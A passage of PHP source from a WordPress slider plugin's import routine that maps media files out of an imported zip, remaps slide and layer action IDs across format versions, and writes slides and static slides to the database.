$video_data['urlWebm'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlWebm'], $alias, $this->imported, true)); } if(isset($video_data['urlOgv']) && $video_data['urlOgv'] != ''){ $video_data['urlOgv'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlOgv'], $alias, $this->imported, true)); } }elseif(!empty($video_data) && isset($video_data['video_type']) && $video_data['video_type'] != 'html5'){ //video cover image if($video_data['video_type'] == 'audio'){ if(isset($video_data['urlAudio']) && $video_data['urlAudio'] != ''){ $video_data['urlAudio'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlAudio'], $alias, $this->imported, true)); } }else{ if(isset($video_data['previewimage']) && $video_data['previewimage'] != ''){ $video_data['previewimage'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['previewimage'], $alias, $this->imported)); } } } $layer['video_data'] = $video_data; if(isset($layer['video_image_url']) && $layer['video_image_url'] != ''){ $layer['video_image_url'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $layer['video_image_url'], $alias, $this->imported)); } } if(isset($layer['type']) && $layer['type'] == 'svg'){ if(isset($layer['svg']) && isset($layer['svg']->src)){ $layer['svg']->src = content_url().$layer['svg']->src; } } } $layer['text'] = stripslashes($this->get_val($layer, 'text')); $layers[$layer_key] = $layer; } } $this->slides_data[$slide_key]['layers'] = $layers; $d = array('params' => $params, 'sliderParams' => $this->slider_data, 'layers' => $layers, 'settings' => $settings, 'imported' => $this->imported); $d = apply_filters('revslider_importSliderFromPost_modify_data', $d, 'normal', $this->download_path, $this); $params = $d['params']; $this->slider_data = $d['sliderParams']; $layers = $d['layers']; $settings = $d['settings']; $this->imported = $d['imported']; $my_layers = json_encode($layers); $my_layers = (empty($my_layers)) ? stripslashes(json_encode($layers)) : $my_layers; $my_params = json_encode($params); $my_params = (empty($my_params)) ? stripslashes(json_encode($params)) : $my_params; $my_settings = json_encode($settings); $my_settings = (empty($my_settings)) ? stripslashes(json_encode($settings)) : $my_settings; //create new slide $wpdb->insert( $wpdb->prefix . RevSliderFront::TABLE_SLIDES, array( 'slider_id' => $this->slider_id, 'slide_order' => $this->get_val($slide, 'slide_order'), 'layers' => $my_layers, 'params' => $my_params, 'settings' => $my_settings ) ); if(isset($slide['id'])){ $this->map[$slide['id']] = $wpdb->insert_id; } } } /** * process Slide data, mapping and layers of a pre 6.0 slide **/ public function process_slide_data_post_6(){ global $wpdb, $wp_filesystem; if(empty($this->slides_data)) return false; $template = new RevSliderTemplate(); foreach($this->slides_data as $slide_key => $slide){ $params = $this->get_val($slide, 'params'); $layers = $this->get_val($slide, 'layers', array()); $settings = $this->get_val($slide, 'settings', ''); $alias = $this->get_val($this->slider_data, 'alias'); //import videos/images if($this->import_zip === true){ //we have a zip, check if exists /** * images/videos in slide: * bg.image * bg.imageId * bg.mpeg * bg.ogv * bg.webm * bg.videoId * thumb.customThumbSrc * thumb.customThumbSrcId * thumb.customAdminThumbSrc * thumb.customAdminThumbSrcId **/ //remove image_id as it is not needed in import if($this->get_val($params, array('bg', 'imageId'), false) !== false) unset($params['bg']['imageId']); //if($this->get_val($params, array('bg', 'videoId'), false) !== false) unset($params['bg']['videoId']); //TODO maybe not delete, depending on if this is a wordpress media library id (then yes) or not if($this->get_val($params, array('thumb', 'customThumbSrcId'), false) !== false) unset($params['thumb']['customThumbSrcId']); if($this->get_val($params, array('thumb', 'customAdminThumbSrcId'), false) !== false) unset($params['thumb']['customAdminThumbSrcId']); if($this->get_val($params, array('bg', 'image'), false) !== false){ $params['bg']['image'] = $this->check_file_in_zip($this->download_path, $params['bg']['image'], $alias, $this->imported); $params['bg']['image'] = $this->get_image_url_from_path($params['bg']['image']); if(!empty($params['bg']['image'])){ $imgid = $this->get_image_id_by_url($params['bg']['image']); if(!empty($imgid) && $imgid !== 0){ $params['bg']['imageId'] = $imgid; } } } if($this->get_val($params, array('layout', 'bg', 'image'), false) !== false){ $params['layout']['bg']['image'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('layout', 'bg', 'image')), $alias, $this->imported); $params['layout']['bg']['image'] = $this->get_image_url_from_path($this->get_val($params, array('layout', 'bg', 'image'))); } if($this->get_val($params, array('thumb', 'customThumbSrc'), false) !== false){ $params['thumb']['customThumbSrc'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('thumb', 'customThumbSrc')), $alias, $this->imported); $params['thumb']['customThumbSrc'] = $this->get_image_url_from_path($this->get_val($params, array('thumb', 'customThumbSrc'))); } if($this->get_val($params, array('thumb', 'customAdminThumbSrc'), false) !== false){ $params['thumb']['customAdminThumbSrc'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('thumb', 'customAdminThumbSrc')), $alias, $this->imported); $params['thumb']['customAdminThumbSrc'] = $this->get_image_url_from_path($this->get_val($params, array('thumb', 'customAdminThumbSrc'))); } //check if we are a template slider, if yes, use template slide image if($this->is_template !== false){ if($this->get_val($params, array('thumb', 'customThumbSrc'), false) === false){ if(!isset($params['thumb'])) $params['thumb'] = array(); $params['thumb']['customThumbSrc'] = $template->get_slide_image_by_uid($this->is_template, $slide_key); } if($this->get_val($params, array('thumb', 'customAdminThumbSrc'), false) === false){ if(!isset($params['thumb'])) $params['thumb'] = array(); $params['thumb']['customAdminThumbSrc'] = $this->get_val($params, array('thumb', 'customThumbSrc')); } } if($this->get_val($params, array('troubleshooting', 'alternateURL'), false) !== false){ $params['troubleshooting']['alternateURL'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('troubleshooting', 'alternateURL')), $alias, $this->imported); $params['troubleshooting']['alternateURL'] = $this->get_image_url_from_path($this->get_val($params, array('troubleshooting', 'alternateURL'))); } if($this->get_val($params, array('bg', 'type')) == 'html5'){ if($this->get_val($params, array('bg', 'mpeg')) !== ''){ $params['bg']['mpeg'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($params, array('bg', 'mpeg')), $alias, $this->imported, true)); } if($this->get_val($params, array('bg', 'webm')) !== ''){ $params['bg']['webm'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($params, array('bg', 'webm')), $alias, $this->imported, true)); } if($this->get_val($params, array('bg', 'ogv')) !== ''){ $params['bg']['ogv'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($params, array('bg', 'ogv')), $alias, $this->imported, true)); } } $this->slides_data[$slide_key]['params'] = $params; } //convert layers images: if(!empty($layers)){ /** * media.imageUrl * media.imageId * media.posterUrl * media.posterId * media.audioUrl * media.thumbs.veryBig * media.thumbs.big * media.thumbs.large * media.thumbs.medium * media.thumbs.small * media.mp4Url * media.ogvUrl * media.webmUrl * svg.source * idle.backgroundImage * idle.backgroundImageId **/ foreach($layers as $layer_key => $layer){ //import if exists in zip folder if($this->import_zip === true){ //we have a zip, check if exists $layer_type = $this->get_val($layer, 'type', 'text'); if($this->get_val($layer, array('media', 'imageId'), false) !== false) unset($layer['media']['imageId']); if($this->get_val($layer, array('media', 'posterId'), false) !== false) unset($layer['media']['posterId']); if($this->get_val($layer, array('idle', 'backgroundImageId'), false) !== false) unset($layer['idle']['backgroundImageId']); $image_url = $this->get_val($layer, array('media', 'imageUrl'), false); $bg_image = $this->get_val($layer, array('idle', 'backgroundImage'), false); $very_big = $this->get_val($layer, array('media', 'thumbs', 'veryBig'), false); $big = $this->get_val($layer, array('media', 'thumbs', 'big'), false); $large = $this->get_val($layer, array('media', 'thumbs', 'large'), false); $medium = $this->get_val($layer, array('media', 'thumbs', 'medium'), false); $small = $this->get_val($layer, array('media', 'thumbs', 'small'), false); $very_big = (is_array($very_big) && isset($very_big['url'])) ? $very_big['url'] : $very_big; $big = (is_array($big) && isset($big['url'])) ? $big['url'] : $big; $large = (is_array($large) && isset($large['url'])) ? $large['url'] : $large; $medium = (is_array($medium) && isset($medium['url'])) ? $medium['url'] : $medium; $small = (is_array($small) && isset($small['url'])) ? $small['url'] : $small; if($image_url !== false)$layer['media']['imageUrl'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $image_url, $alias, $this->imported)); if($bg_image !== false) $layer['idle']['backgroundImage'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $bg_image, $alias, $this->imported)); if($very_big !== false) $layer['media']['thumbs']['veryBig'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $very_big, $alias, $this->imported)); if($big !== false) $layer['media']['thumbs']['big'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $big, $alias, $this->imported)); if($large !== false) $layer['media']['thumbs']['large'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $large, $alias, $this->imported)); if($medium !== false) $layer['media']['thumbs']['medium'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $medium, $alias, $this->imported)); if($small !== false) $layer['media']['thumbs']['small'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $small, $alias, $this->imported)); if(!empty($layer['media']['imageUrl'])){ $imgid = $this->get_image_id_by_url($layer['media']['imageUrl']); if(!empty($imgid) && $imgid !== 0){ $layer['media']['imageId'] = $imgid; } } if(!empty($layer['idle']['backgroundImage'])){ $imgid = $this->get_image_id_by_url($layer['idle']['backgroundImage']); if(!empty($imgid) && $imgid !== 0){ $layer['idle']['backgroundImageId'] = $imgid; } } if(in_array($layer_type, array('video', 'audio'))){ $media_type = $this->get_val($layer, array('media', 'mediaType')); if($media_type == 'html5'){ $mp4 = $this->get_val($layer, array('media', 'mp4Url'), ''); $webm = $this->get_val($layer, array('media', 'webmUrl'), ''); $ogv = $this->get_val($layer, array('media', 'ogvUrl'), ''); if($mp4 !== '') $layer['media']['mp4Url'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $mp4, $alias, $this->imported, true)); if($webm !== '') $layer['media']['webmUrl'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $webm, $alias, $this->imported, true)); if($ogv !== '') $layer['media']['ogvUrl'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, ogv, $alias, $this->imported, true)); }elseif($media_type == 'audio'){ //video cover image $audio = $this->get_val($layer, array('media', 'audioUrl')); if($audio !== '') $layer['media']['audioUrl'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $audio, $alias, $this->imported, true)); } if($this->get_val($layer, array('media', 'posterUrl'), '') !== ''){ $layer['media']['posterUrl'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'posterUrl'), ''), $alias, $this->imported)); } } if($layer_type == 'svg'){ $svg = $this->get_val($layer, array('svg', 'source'), ''); //check if we need to import it, if its available in the zip file $zimage = $wp_filesystem->exists($this->download_path.'images/'.$svg); if(!$zimage) $zimage = $wp_filesystem->exists(str_replace('//', '/', $this->download_path.'images/'.$svg)); $svgurl = ($zimage === true) ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $svg, $alias, $this->imported, true)) : content_url().$svg; if(!empty($svg)) $layer['svg']['source'] = $svgurl; } } $layer['text'] = stripslashes($this->get_val($layer, 'text')); $layers[$layer_key] = $layer; } } $this->slides_data[$slide_key]['layers'] = $layers; $d = array('params' => $params, 'sliderParams' => $this->slider_data, 'layers' => $layers, 'settings' => $settings, 'imported' => $this->imported); $d = apply_filters('revslider_importSliderFromPost_modify_data', $d, 'normal', $this->download_path, $this); $this->slider_data = $d['sliderParams']; $this->imported = $d['imported']; $params = $d['params']; $layers = $d['layers']; $settings = $d['settings']; $my_layers = json_encode($layers); $my_layers = (empty($my_layers)) ? stripslashes(json_encode($layers)) : $my_layers; $my_params = json_encode($params); $my_params = (empty($my_params)) ? stripslashes(json_encode($params)) : $my_params; $my_settings = json_encode($settings); $my_settings = (empty($my_settings)) ? stripslashes(json_encode($settings)) : $my_settings; //create new slide $wpdb->insert( $wpdb->prefix . RevSliderFront::TABLE_SLIDES, array( 'slider_id' => $this->slider_id, 'slide_order' => $this->get_val($slide, 'slide_order'), 'layers' => $my_layers, 'params' => $my_params, 'settings' => $my_settings ) ); if(isset($slide['id'])){ $this->slides_data[$slide_key]['new_id'] = $wpdb->insert_id; $this->map[$slide['id']] = $wpdb->insert_id; } } } /** * process layers, and update actions **/ public function process_layer_data(){ if(!empty($this->map)){ if(!empty($this->slides_data)){ foreach($this->slides_data as $slide){ if(version_compare($this->get_val($slide, array('params', 'version'), '1.0.0'), '6.0.0', '<')){ $this->process_layer_data_pre_6($slide); }else{ $this->process_layer_data_post_6($slide); } } } } } /** * process layers from after 6.0 **/ public function process_layer_data_post_6($slide){ global $wpdb; $params = $this->get_val($slide, 'params', array()); $layers = $this->get_val($slide, 'layers', array()); //change for WPML the parent IDs if necessary $parent_id = $this->get_val($slide, array('params', 'child', 'parentId'), false); if(!in_array($parent_id, array(false, ''), true) && isset($this->map[$parent_id])){ $create = array('params' => $params); $this->set_val($create, array('params', 'child', 'parentId'), $this->map[$parent_id]); $new_params = json_encode($create['params']); $new_params = (empty($new_params)) ? stripslashes(json_encode($create['params'])) : $new_params; $create['params'] = $new_params; $wpdb->update( $wpdb->prefix . RevSliderFront::TABLE_SLIDES, $create, array('id' => $this->map[$slide['id']]) ); } if(!empty($slide['layers'])){ $did_change = false; foreach($slide['layers'] as $lk => $layer){ $actions = $this->get_val($layer, array('actions', 'action'), array()); if(!empty($actions)){ foreach($actions as $a_k => $action){ $jts = $this->get_val($action, 'jump_to_slide', ''); if($jts !== ''){ if(isset($this->map[$jts])){ $this->set_val($slide['layers'][$lk], array('actions', 'action', $a_k, 'jump_to_slide'), $this->map[$jts]); $did_change = true; } } if(!empty($this->map)){ $cb = $this->get_val($action, 'actioncallback', ''); if($cb !== ''){ $cb = str_replace('slider-'.$this->old_slider_id.'-', 'slider-'.$this->slider_id.'-', $cb); $cb = str_replace('slider_'.$this->old_slider_id.'_', 'slider_'.$this->slider_id.'_', $cb); foreach($this->map as $old_slide_id => $new_slide_id){ $cb = str_replace('slide-'.$old_slide_id.'-', 'slide-'.$new_slide_id.'-', $cb); $this->set_val($slide['layers'][$lk], array('actions', 'action', $a_k, 'actioncallback'), $cb); $did_change = true; } } } } } /** * check for wrong formatted false values in the reverseDirection **/ $_reverse_check = array('frame_0', 'frame_1', 'frame_999'); foreach($_reverse_check as $rc){ $lr = $this->get_val($layer, array('timeline', 'frames', $rc, 'reverseDirection'), array()); if(!empty($lr)){ foreach($lr as $lrk => $lrv){ if($lrv === 'false'){ $this->set_val($slide['layers'][$lk], array('timeline', 'frames', $rc, 'reverseDirection', $lrk), false); $did_change = true; } if($lrv === 'true'){ $this->set_val($slide['layers'][$lk], array('timeline', 'frames', $rc, 'reverseDirection', $lrk), true); $did_change = true; } } } } } if($did_change === true){ $my_layers = json_encode($slide['layers']); $create = array(); $create['layers'] = (empty($my_layers)) ? stripslashes(json_encode($layers)) : $my_layers; $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $create, array('id' => $this->map[$slide['id']])); } } } /** * process layers from before 6.0 **/ public function process_layer_data_pre_6($slide){ global $wpdb; //change for WPML the parent IDs if necessary if(isset($slide['params']['parentid']) && isset($this->map[$slide['params']['parentid']])){ $create = array('params' => $this->get_val($slide, 'params')); $create['params']['parentid'] = $this->map[$this->get_val($create['params'], 'parentid')]; $my_params = json_encode($create['params']); $my_params = (empty($my_params)) ? stripslashes(json_encode($create['params'])) : $my_params; $create['params'] = $my_params; $wpdb->update( $wpdb->prefix . RevSliderFront::TABLE_SLIDES, $create, array('id' => $this->map[$slide['id']]) ); } $did_change = false; if(!empty($slide['layers'])){ foreach($slide['layers'] as $key => $value){ if(isset($value['layer_action'])){ if(isset($value['layer_action']->jump_to_slide) && !empty($value['layer_action']->jump_to_slide)){ $value['layer_action']->jump_to_slide = (array)$value['layer_action']->jump_to_slide; foreach($value['layer_action']->jump_to_slide as $jtsk => $jtsval){ if(isset($this->map[$jtsval])){ $slide['layers'][$key]['layer_action']->jump_to_slide[$jtsk] = $this->map[$jtsval]; $did_change = true; } } } } $link_slide = $this->get_val($value, 'link_slide', false); if($link_slide != false && $link_slide !== 'nothing'){ //link to slide/scrollunder is set, move it to actions if(!isset($slide['layers'][$key]['layer_action'])) $slide['layers'][$key]['layer_action'] = new stdClass(); switch($link_slide){ case 'link': $link = $this->get_val($value, 'link'); $link_open_in = $this->get_val($value, 'link_open_in'); $slide['layers'][$key]['layer_action']->action = array('a' => 'link'); $slide['layers'][$key]['layer_action']->link_type = array('a' => 'a'); $slide['layers'][$key]['layer_action']->image_link = array('a' => $link); $slide['layers'][$key]['layer_action']->link_open_in = array('a' => $link_open_in); unset($slide['layers'][$key]['link']); unset($slide['layers'][$key]['link_open_in']); break; case 'next': $slide['layers'][$key]['layer_action']->action = array('a' => 'next'); break; case 'prev': $slide['layers'][$key]['layer_action']->action = array('a' => 'prev'); break; case 'scroll_under': $scrollunder_offset = $this->get_val($value, 'scrollunder_offset'); $slide['layers'][$key]['layer_action']->action = array('a' => 'scroll_under'); $slide['layers'][$key]['layer_action']->scrollunder_offset = array('a' => $scrollunder_offset); unset($slide['layers'][$key]['scrollunder_offset']); break; default: //its an ID, so its a slide ID $slide['layers'][$key]['layer_action']->action = array('a' => 'jumpto'); $slide['layers'][$key]['layer_action']->jump_to_slide = array('a' => $this->map[$link_slide]); break; } $slide['layers'][$key]['layer_action']->tooltip_event = array('a' => 'click'); unset($slide['layers'][$key]['link_slide']); $did_change = true; } } if($did_change === true){ $my_layers = json_encode($slide['layers']); $create = array(); $create['layers'] = (empty($my_layers)) ? stripslashes(json_encode($slide['layers'])) : $my_layers; $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $create, array('id' => $this->map[$slide['id']])); } } } /** * process the static slide plus layers, and update actions **/ public function process_static_slide_data(){ $static_slide = $this->get_val($this->slider_data, 'static_slides'); if(!empty($static_slide) && $this->import_statics){ foreach($static_slide as $slide){ $params = $this->get_val($slide, 'params'); if(version_compare($this->get_val($params, 'version', '1.0.0'), '6.0.0', '<')){ $this->process_static_slide_data_pre_6(); }else{ $this->process_static_slide_data_post_6(); } break; } } } /** * process the static slide plus layers, and update actions for Static Slides pre 6.0 **/ public function process_static_slide_data_pre_6(){ global $wpdb; //check if static slide exists and import $static_slide = $this->get_val($this->slider_data, 'static_slides'); if(!empty($static_slide) && $this->import_statics){ foreach($static_slide as $slide){ $params = $this->get_val($slide, 'params'); $layers = $this->get_val($slide, 'layers'); $settings = $this->get_val($slide, 'settings', ''); //remove image_id as it is not needed in import if(isset($params['image_id'])) unset($params['image_id']); $image = trim($this->get_val($params, 'image', '')); $params['image'] = $this->import_media_from_zip($image); //convert layers images: if(!empty($layers)){ foreach($layers as $layer_key => $layer){ $image = trim($this->get_val($layer, 'image_url', '')); $layer['image_url'] = $this->import_media_from_zip($image); $image = trim($this->get_val($layer, 'bgimage_url', '')); $layer['bgimage_url'] = $this->import_media_from_zip($image); $layer['text'] = stripslashes($this->get_val($layer, 'text')); $type = $this->get_val($layer, 'type'); if($type == 'video' || $type == 'audio'){ $video_data = (array)$this->get_val($layer, 'video_data', array()); if(!empty($video_data) && isset($video_data['video_type']) && $video_data['video_type'] == 'html5'){ $video_data['urlPoster'] = (isset($video_data['urlPoster']) && $video_data['urlPoster'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlPoster'], $this->alias, $this->imported)) : ''; $video_data['urlMp4'] = (isset($video_data['urlMp4']) && $video_data['urlMp4'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlMp4'], $this->alias, $this->imported, true)) : ''; $video_data['urlWebm'] = (isset($video_data['urlWebm']) && $video_data['urlWebm'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlWebm'], $this->alias, $this->imported, true)) : ''; $video_data['urlOgv'] = (isset($video_data['urlOgv']) && $video_data['urlOgv'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlOgv'], $this->alias, $this->imported, true)) : ''; }elseif(!empty($video_data) && isset($video_data['video_type']) && $video_data['video_type'] != 'html5'){ //video cover image if($video_data['video_type'] == 'audio'){ $video_data['urlAudio'] = (isset($video_data['urlAudio']) && $video_data['urlAudio'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlAudio'], $this->alias, $this->imported, true)) : ''; }else{ $video_data['previewimage'] = (isset($video_data['previewimage']) && $video_data['previewimage'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['previewimage'], $this->alias, $this->imported)) : ''; } } $layer['video_data'] = $video_data; $layer['video_image_url'] = (isset($layer['video_image_url']) && $layer['video_image_url'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $layer['video_image_url'], $this->alias, $this->imported)) : ''; } if(isset($layer['type']) && $layer['type'] == 'svg'){ if(isset($layer['svg']) && isset($layer['svg']->src)){ $layer['svg']->src = content_url().$layer['svg']->src; } } if(isset($layer['layer_action'])){ if(isset($layer['layer_action']->jump_to_slide) && !empty($layer['layer_action']->jump_to_slide)){ foreach($layer['layer_action']->jump_to_slide as $jtsk => $jtsval){ if(isset($this->map[$jtsval])){ $layer['layer_action']->jump_to_slide[$jtsk] = $this->map[$jtsval]; } } } } $link_slide = $this->get_val($layer, 'link_slide', false); if($link_slide != false && $link_slide !== 'nothing'){ //link to slide/scrollunder is set, move it to actions if(!isset($layer['layer_action'])) $layer['layer_action'] = new stdClass(); switch($link_slide){ case 'link': $layer['layer_action']->action = array('a' => 'link'); $layer['layer_action']->link_type = array('a' => 'a'); $layer['layer_action']->image_link = array('a' => $this->get_val($layer, 'link')); $layer['layer_action']->link_open_in = array('a' => $this->get_val($layer, 'link_open_in')); unset($layer['link']); unset($layer['link_open_in']); break; case 'next': $layer['layer_action']->action = array('a' => 'next'); break; case 'prev': $layer['layer_action']->action = array('a' => 'prev'); break; case 'scroll_under': $layer['layer_action']->action = array('a' => 'scroll_under'); $layer['layer_action']->scrollunder_offset = array('a' => $this->get_val($layer, 'scrollunder_offset')); unset($layer['scrollunder_offset']); break; default: //its an ID, so its a slide ID $layer['layer_action']->action = array('a' => 'jumpto'); $layer['layer_action']->jump_to_slide = array('a' => $this->map[$link_slide]); break; } $layer['layer_action']->tooltip_event = array('a' => 'click'); unset($layer['link_slide']); } $layers[$layer_key] = $layer; } } $d = array('params' => $params, 'layers' => $layers, 'settings' => $settings); $d = apply_filters('revslider_importSliderFromPost_modify_data', $d, 'static', $this->download_path, $this); $my_layers = json_encode($d['layers']); $my_layers = (empty($my_layers)) ? stripslashes(json_encode($d['layers'])) : $my_layers; $my_params = json_encode($d['params']); $my_params = (empty($my_params)) ? stripslashes(json_encode($d['params'])) : $my_params; $my_settings = json_encode($d['settings']); $my_settings = (empty($my_settings)) ? stripslashes(json_encode($d['settings'])) : $my_settings; if($this->exists){ $wpdb->update( $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, array( 'layers' => $my_layers, 'params' => $my_params, 'settings' => $my_settings ), array('slider_id' => $this->slider_id) ); }else{ $ret = $wpdb->insert( $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, array( 'slider_id' => $this->slider_id, 'layers' => $my_layers, 'params' => $my_params, 'settings' => $my_settings ) ); } } } } /** * process the static slide plus layers, and update actions for Static Slides pre 6.0 **/ public function process_static_slide_data_post_6(){ global $wpdb, $wp_filesystem; //check if static slide exists and import $static_slide = $this->get_val($this->slider_data, 'static_slides'); if(!empty($static_slide) && $this->import_statics){ foreach($static_slide as $slide){ $params = $this->get_val($slide, 'params'); $layers = $this->get_val($slide, 'layers'); $settings = $this->get_val($slide, 'settings', ''); //remove image_id as it is not needed in import if($this->get_val($params, array('bg', 'imageId'), false) !== false) unset($params['bg']['imageId']); if(!isset($params['bg'])) $params['bg'] = array(); $image = trim($this->get_val($params, array('bg', 'image'), '')); $params['bg']['image'] = $this->import_media_from_zip($image); if(!empty($params['bg']['image'])){ $imgid = $this->get_image_id_by_url($params['bg']['image']); if(!empty($imgid) && $imgid !== 0){ $params['bg']['imageId'] = $imgid; } } //convert layers images: if(!empty($layers)){ foreach($layers as $layer_key => $layer){ if($this->get_val($layer, array('media', 'imageId'), false) !== false) unset($layer['media']['imageId']); if($this->get_val($layer, array('media', 'posterId'), false) !== false) unset($layer['media']['posterId']); if($this->get_val($layer, array('idle', 'backgroundImageId'), false) !== false) unset($layer['idle']['backgroundImageId']); $image = trim($this->get_val($layer, array('media', 'imageUrl'), '')); if($image !== ''){ $layer['media']['imageUrl'] = $this->import_media_from_zip($image); } $image = trim($this->get_val($layer, array('idle', 'backgroundImage'), '')); if($image !== ''){ $layer['idle']['backgroundImage'] = $this->import_media_from_zip($image); } $layer['text'] = stripslashes($this->get_val($layer, 'text')); $type = $this->get_val($layer, 'type'); if($type == 'video' || $type == 'audio'){ if($this->get_val($layer, array('media', 'mediaType')) == 'html5'){ $layer['media']['mp4Url'] = ($this->get_val($layer, array('media', 'mp4Url'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'mp4Url'), ''), $this->alias, $this->imported, true)) : ''; $layer['media']['webmUrl'] = ($this->get_val($layer, array('media', 'webmUrl'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'webmUrl'), ''), $this->alias, $this->imported, true)) : ''; $layer['media']['ogvUrl'] = ($this->get_val($layer, array('media', 'ogvUrl'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'ogvUrl'), ''), $this->alias, $this->imported, true)) : ''; }elseif($this->get_val($layer, array('media', 'mediaType')) != 'html5'){ //video cover image if($this->get_val($layer, array('media', 'mediaType')) == 'audio'){ $layer['media']['audioUrl'] = ($this->get_val($layer, array('media', 'audioUrl'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'audioUrl'), ''), $this->alias, $this->imported, true)) : ''; } } $layer['media']['posterUrl'] = ($this->get_val($layer, array('media', 'posterUrl'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'posterUrl'), ''), $this->alias, $this->imported)) : ''; } if($type == 'svg'){ $svg = $this->get_val($layer, array('svg', 'source'), ''); //check if we need to import it, if its available in the zip file $zimage = $wp_filesystem->exists($this->download_path.'images/'.$svg); if(!$zimage) $zimage = $wp_filesystem->exists(str_replace('//', '/', $this->download_path.'images/'.$svg)); $svgurl = ($zimage === true) ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $svg, $this->alias, $this->imported, true)) : content_url().$svg; if(!empty($svg)) $layer['svg']['source'] = $svgurl; } $actions = $this->get_val($layer, array('actions', 'action'), array()); if(!empty($actions)){ foreach($actions as $a_k => $action){ $jts = $this->get_val($action, 'jump_to_slide', ''); if($jts !== ''){ if(isset($this->map[$jts])){ $this->set_val($layer, array('actions', 'action', $a_k, 'jump_to_slide'), $this->map[$jts]); } } if(!empty($this->map)){ $cb = $this->get_val($action, 'actioncallback', ''); if($cb !== ''){ $cb = str_replace('slider-'.$this->old_slider_id.'-', 'slider-'.$this->slider_id.'-', $cb); $cb = str_replace('slider_'.$this->old_slider_id.'_', 'slider_'.$this->slider_id.'_', $cb); foreach($this->map as $old_slide_id => $new_slide_id){ $cb = str_replace('slide-'.$old_slide_id.'-', 'slide-'.$new_slide_id.'-', $cb); $this->set_val($slide['layers'][$layer_key], array('actions', 'action', $a_k, 'actioncallback'), $cb); } } } } } $layers[$layer_key] = $layer; } } $d = array('params' => $params, 'layers' => $layers, 'settings' => $settings); $d = apply_filters('revslider_importSliderFromPost_modify_data', $d, 'static', $this->download_path, $this); $my_layers = json_encode($d['layers']); $my_layers = (empty($my_layers)) ? stripslashes(json_encode($d['layers'])) : $my_layers; $my_params = json_encode($d['params']); $my_params = (empty($my_params)) ? stripslashes(json_encode($d['params'])) : $my_params; $my_settings = json_encode($d['settings']); $my_settings = (empty($my_settings)) ? stripslashes(json_encode($d['settings'])) : $my_settings; if($this->exists){ $wpdb->update( $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, array( 'layers' => $my_layers, 'params' => $my_params, 'settings' => $my_settings ), array('slider_id' => $this->slider_id) ); }else{ $ret = $wpdb->insert( $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES, array( 'slider_id' => $this->slider_id, 'layers' => $my_layers, 'params' => $my_params, 'settings' => $my_settings ) ); } } } } /** * duplicate the template slider, if we installed a template slider. either a slide or the full slider **/ public function duplicate_template_slider($single_slide){ if($this->is_template !== false){ //duplicate the slider now, as we just imported the "template" $mslider = new RevSliderSlider(); $mslider->template_slider = true; if($single_slide !== false){ //add now one Slide to the current Slider //change slide_id to correct, as it currently is just a number beginning from 0 as we did not have a correct slide ID yet. $i = 0; $changed = false; if(!empty($this->map)){ foreach($this->map as $value){ if($i == $single_slide['slide_id']){ $single_slide['slide_id'] = $value; $changed = true; break; } $i++; } } if($changed){ $mslider->copy_slide_to_slider($single_slide); }else{ global $wp_filesystem; $this->clear_files(); return array('success' => false, 'error' => __('could not find correct Slide to copy, please try again.', 'revslider'), 'sliderID' => $this->slider_id); } }else{ $this->real_slider_id = $mslider->duplicate_slider_by_id($this->slider_id, true); } $map = $mslider->get_map(); if(!empty($map)){ $new_map = array(); if(!empty($this->map)){ foreach($this->map as $os => $ns){ if(isset($map[$ns])){ $new_map[$os] = $map[$ns]; } } if(!empty($new_map)){ //push these into the duplicate tree $this->map[$this->real_slider_id] = $new_map; } } } } return true; } /** * update the slide ids in the slider skins * @since: 6.2.3 * skins -> colors -> [] -> ref -> [] -> 